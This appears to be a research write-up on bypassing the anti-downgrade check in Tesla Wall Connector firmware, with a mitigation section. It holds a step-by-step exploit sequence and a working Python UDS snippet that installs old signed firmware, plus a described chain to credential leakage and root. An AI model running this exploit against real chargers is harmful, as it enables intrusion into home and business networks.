The Anti-Downgrade Ratchet: A Single Point of Failure

Tesla's Wall Connector firmware update flow includes a security ratchet to prevent downgrading to older, potentially vulnerable versions. In version 24.44.3, the function check_image_and_antidowngrade() was added to routine 0x201 to compare a firmware ratchet value (embedded in firmware segments as "VRS2") against a persistent counter stored in PSM (Persistent Storage Manager). If the new firmware's ratchet is lower than the stored value, the update is rejected and the slot is erased.

However, researchers at Synacktiv discovered that this check only runs in the updater (switch_to_new_firmware()), not in the bootloader (boot2). The bootloader validates only the magic header (SBFH), per-segment CRC32, and RSA signature. It has no notion of a security ratchet. This means any signed firmware—regardless of version—will execute if placed in the active slot.

The Bypass: Exploiting Slot Management

The attack leverages the fact that routine 0xFF00 (prepare_passive_slot()) selects the passive slot based on g_boot_flags, which is set at boot and never changes during a session. Routine 0x201 writes the partition layout (flipping slots by bumping a generation counter), but does not prevent subsequent erasure of the same slot.

Here's the exploit sequence:

  1. Push a valid, up-to-date firmware (e.g., 24.44.3) and call routine 0x201. This passes the ratchet check and writes the partition layout, making this slot the active one with highest gen_level.

  2. Call routine 0xFF00 again without rebooting. Since g_boot_flags hasn't changed, the same physical slot is selected as passive and erased. The partition table is untouched.

  3. Push an old, signed firmware (e.g., 0.8.58) into the now-empty slot. Skip routine 0x201 entirely.

  1. Call routine 0x202 to reboot. The bootloader reads the partition table, picks the slot with the highest gen_level (the one we just wrote), validates its signature (still valid), and boots the old firmware. The anti-downgrade check never ran on the old image.

Implementation Details

The exploit extends the Pwn2Own car simulator, using Single-Wire CAN (SWCAN) at 33.3 kbps. The UDS session setup and security access remain unchanged. The key code snippet from the exploit:

with Client(conn, config=uds_config) as client:
    client.set_config('security_algo', tesla_uds_algo)
    client.change_session(2)
    client.unlock_security_access(5)
    # Step 1: Push valid firmware and write layout
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
    send_firmware_data(client, data)
    client.routine_control(routine_id=0x201, control_type=1)
    sleep(1)
    # Step 2: Re-prepare same slot, erase valid firmware
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("WC3_PROD_OTA_08.58.bin","rb").read()
    send_firmware_data(client, data)
    sleep(1)
    # Step 3: Reboot
    client.routine_control(routine_id=0x202, control_type=1)

Total runtime is ~30 minutes due to sending two full firmware images over the slow SWCAN bus.

Why This Matters

After downgrading to 0.8.58, the original attack chain works again: UDS leaks Wi-Fi credentials, enabling telnet access to a debug shell, then a buffer overflow in the argument parser grants root. The Wall Connector becomes a foothold into the home or business network. Tesla has since fixed the vulnerability in a firmware update, but the research highlights a fundamental design flaw: relying on a single code path for security enforcement.

Mitigation Lessons

  • Enforce the ratchet in the bootloader. The bootloader should check the firmware version against a stored ratchet before booting.
  • Invalidate partition table on slot erase. Routine 0xFF00 should reset the generation counter or mark the slot as invalid.
  • Force reboot after successful update. Prevent further UDS sessions after routine 0x201 succeeds.

The researchers responsibly disclosed the issue to Tesla, and the fix was deployed via OTA months ago. However, the approach serves as a cautionary tale: security mechanisms must be enforced at every layer, not just in the most convenient place.